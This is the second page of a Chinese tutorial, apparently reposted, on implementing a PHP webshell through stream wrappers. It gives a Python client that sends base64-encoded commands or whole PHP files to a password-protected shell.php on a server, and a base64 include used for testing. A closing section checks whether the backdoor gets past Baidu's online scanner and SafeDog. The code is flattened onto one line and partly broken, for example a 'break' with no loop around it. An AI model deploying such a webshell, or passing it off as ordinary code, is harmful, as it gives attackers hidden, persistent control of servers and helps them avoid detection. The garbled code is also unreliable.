PHP使用流包装器实现WebShell的方法(2)

import requests import base64 import sys def send_raw(url,password,cmd): res=requests.post(url,{ 'password':password, 'code': base64.b64encode(cmd.encode('utf-8')) }) return res.text def send_php_shell(url,password,cmd): return send_raw(url,password,'') if cmd == 'exit': break elif cmd.startswith('run'): cmd,path = cmd.split(' ',1) code = '' with open(path) as f: for line in f: code = code + line + "\r\n" response = send_raw(url,password,code); print(response) else: response = send_php_shell(url,password,cmd); print(response)

我们把我们的 shell.php 部署到服务器上,执行测试 shell.py :

php-shell.png

其中,test.php 的内容为:

<?php include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs'; echo 'hello, shell world';

0×03 后门查杀

百度在线扫描

 

安全狗本地扫描

 

总结

以上所述是小编给大家介绍的PHP使用流包装器实现WebShell的方法,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

您可能感兴趣的文章:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/1219fa9ab67ab2f0ffdc7473e7c2d054.html